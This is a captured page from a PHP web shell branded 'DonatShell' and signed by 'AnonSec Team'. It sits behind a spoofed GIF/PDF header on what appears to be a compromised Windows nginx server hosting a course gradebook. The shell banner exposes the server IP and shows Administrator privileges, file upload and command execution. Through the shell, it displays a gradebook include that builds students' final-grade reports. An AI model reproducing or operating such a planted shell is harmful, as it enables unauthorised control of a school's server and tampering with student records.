GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Gradebook/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Gradebook/GradeUpdate_GradeFinal.phpinc
<?
// Gradebook/GradeUpdate_GradeFinal.phpinc

// Calculate studentTotalPoints.
$studentTotalPoints = 0;
foreach ( $eInfo as $eId => $eData ) {
	include('Gradebook/ClassGradebookEvaluationData.phpinc');
}

// BEGIN Set Student Profile text.
$nsStudentProfile = '';
$SPgrade = 'ns';
foreach ( $sInfo as $xsId => $student ){
	if ($student['userId'] == $uId && $student[-2]['graded'] && $student[-2]['grade'] != false ) {
		$SPgrade = $student[-2]['grade'];
		break;
	}
}
if ( $SPgrade === 'ns' ) { $nsStudentProfile = "\n<br>You did not submitted your Student Profile."; }
// END Set Student Profile text.
	
// BEGIN Set overdue assignments text.
$nsodAssignmentsText = $nsodAssignments;
if ( $nsodAssignments ) {
	$nsodAssignmentsText = "\n<br>You never submitted ";
	$nsodAssignmentsText .= listOr($nsodAssignments);

	$nsodAssignmentsText .= ' and receive zero points for ';
	if ( listLen($nsodAssignments) > 1 ) {
		$nsodAssignmentsText .= 'them';
	} else {
		$nsodAssignmentsText .= 'it';
	}
	$nsodAssignmentsText .= '.';
}
// END Set overdue assignments text.

// BEGIN Set point deductions text.
$pointAssignmentsText = $pointAssignments;
if ( $pointAssignments ) {
	$pointAssignmentsText = "\n<br>You had point deductions in ";
	//if ( listLen($zeroAssignments) > 0 ) { $zeroAssignmentsText .= 's'; }
	$pointAssignmentsText .= listAnd($pointAssignments).'.';
}
// END Set point deductions text.
require('Gradebook/GradeUpdate_GradeReportBegin.phpinc');
$gradePercentage = (int)( ( $studentTotalPoints / $evaluationTotalGradedPoints + .005 ) * 100 );
?>
<div id="gradeReportContent" style="border: 1px solid blue; display: table-cell;" onClick="copyClipboard(this);" onMouseOver="ttShow('Click to copy.');" onMouseOut="ttHide();">
	<?=userFirstName($uId)?>,
	<br><br>
	Your final grade for <?=$courseRow['courseNumber']?> <?=trim($courseRow['courseTitle'])?> is <?=$pronounLetterGrade?> <?=$finalGrade?>.
	<br>The grade was based on a percentage of <?=$gradePercentage?>% (<?=$studentTotalPoints ?> total points out of the <?=$evaluationTotalGradedPoints ?> points possible).
	<br>
	commentsGoHere
	<br><br>
	Here are your individual assignment grades:
	<table>
		<tr>
			<td></td>
<?
foreach ( $eInfo as $eId => $eData ) {
?>
		<th><?=$eData['title']?></th>
<?
}
?>
		<th class="center">Total</th>
		<th rowspan="2" class="center">Final<br>grade</th>
		</tr>
		<tr>
			<td class="right nowrap">Possible points:</td>
<?
foreach ( $eInfo as $eId => $eData ) {
?>
		<td><?=$eData['points']?></td>
<?
}
?>
			<td><?=$evaluationTotalGradedPoints?></td>
		</tr>
		<tr>
			<td class="rightnowrap ">Graded points:</td>
<?
// Display student grade points and final grade.
$studentTotalPoints = 0;
foreach ( $eInfo as $eId => $eData ) {
	include('Gradebook/ClassGradebookEvaluationData.phpinc');
	if ( is_numeric($grade) ) { $gradePoints = $grade; } else { $gradePoints = 0; }
	if ( $eData['critical'] ) {
		if ( $gradePoints / $assignmentPoints < .70 ) { $criticalEvalsFailedCount++; }
	}
	if ( $grade === 'ns' ) {
		$evalClass .= ' bold';
	} elseif ( $grade === 'ng' ) {
		$evalClass .= ' bold';
	}
?>
			<td><? if ( $isGB ) { ?><span class="<?=$evalClass?>"><? } ?><?=$grade?><? if ( $isGB ) { ?></span><? } ?></td>
<?
}
?>
			<td><?=$studentTotalPoints?></td>
			<td><?=$finalGrade?> <?=$finalTitle?></td>
		</tr>
	</table>
	<?=$nsStudentProfile?>
	<?=$nsodAssignmentsText?>
	<?=$pointAssignmentsText?>
	<br>
	<br>
	Letter grade and percentage needed for each:
	<br>A:93%+, A-:90%+, B+:87%+, B:83%+, B-:80%+, C+:77%+, C:73%+, C-:70%+, F:&lt;70%.
	<br><br>
	Thanks,
</div>
<?
require('Gradebook/GradeUpdate_GradeReportEnd.phpinc');
?>

Anon7 - 2022
AnonSec Team